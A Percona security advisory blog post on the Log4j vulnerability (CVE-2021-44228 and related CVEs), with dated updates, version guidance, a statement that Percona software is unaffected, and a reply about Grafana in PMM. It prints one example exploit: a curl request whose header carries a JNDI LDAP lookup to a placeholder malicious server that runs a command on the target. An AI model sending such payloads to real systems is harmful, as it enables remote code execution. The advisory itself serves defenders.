Percona Security has been tracking an evolving issue over the weekend and into the beginning of this week.
The Log4J vulnerability, also sometimes referred to as Log4JShell, can be exploited to allow for the complete takeover of the target to run any arbitrary code.
This affects versions of log4j 2.0-beta9 through 2.14.1 – the current advisory is to update to the fixed release version 2.17.0 or greater.
The Exploit
The most simplistic example being:
curl https://target.domain.tld -H 'X-Api-Version: ${jndi:ldap://malicious_server/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' -o/dev/null -v
when executed this runs touch /tmp/pwned on the target system.
There are many such examples being tracked at the time of writing which seeks to either exploit the issue or at the very least confirm the presence of the issue.
Is any Percona Software or Service Affected by this Vulnerability?
At the time of writing, no Percona software is known to be affected by the CVE-2021-44228 log4j vulnerability as we do not employ Java in any of the Open Source Software produced here at Percona at this time.
We are of course working with our service vendors and third parties to ensure they too are not affected by this issue and are tracking their response internally via JIRA ticket at the time of writing. Percona is not aware of any of our service providers impacted by the log4j vulnerability at the time of writing.
Where possible, we are employing methods to increase visibility, and protection against this issue regardless of the underlying software not being affected to apply additional layers of protection.
We have validated that the software we are using in our build pipelines is not affected by this issue at the time of writing.
Please refer to the details on https://www.percona.com/security regarding the appropriate channels of contact, should you wish to raise a direct contact request regarding this or another issue.
UPDATE 2021-12-20
The fix implemented in 2.16 of log4j has been reported to “not protect against uncontrolled recursion from self-referential lookups“, this issue is CVE-2021-45105 to protect against the DoS vulnerability it is advised to apply version >= 2.17 of log4j
UPDATE 2021-12-15:
The fix implemented in 2.15 of log4j has been reported as an “incomplete” fix; the new CVE to track this issue is CVE-2021-45046, as such log4j currently requires updating to >= 2.16 to fully protect against these issues, whilst this latest issue is reported as moderate (not high) severity (likely due to the complexity of the exploitation vector), our advice at this time is to ensure update to address this also at this time.
Percona continues to track this major issue and take appropriate action to safeguard our clients and users.
We are working on enhancing defences and active scanning and reporting for indicators of the log4j issues, at this stage, regardless of not having been affected directly by this issue at this point in time, we wish to safeguard against this in the future by taking appropriate measures to safeguard against this.
Our teams are working diligently on this issue, and we expect to publish further updates as this issue continues to unfold and further detail becomes available through our testing and through the publication of information.
David Busby
Information Security Architect
What about Grafana in PMM?
@michal,
Grafana in PMM is goLang based, not JAVA based, as such this does not contain the log4J JAVA library.
This is confirmed here: https://community.grafana.com/t/to-be-clear-is-grafana-affected-by-log4j-vulnerability/57600 && https://grafana.com/blog/2021/12/14/grafana-labs-core-products-not-impacted-by-log4j-cve-2021-44228-and-related-vulnerabilities/ and discussion is here: https://github.com/grafana/grafana/issues/43000
This does not extend onto the data sources you may hook into PMM of course, and you should review your infrastructure to ensure that there is not a vulnerable log4J version running within.
Cheers
David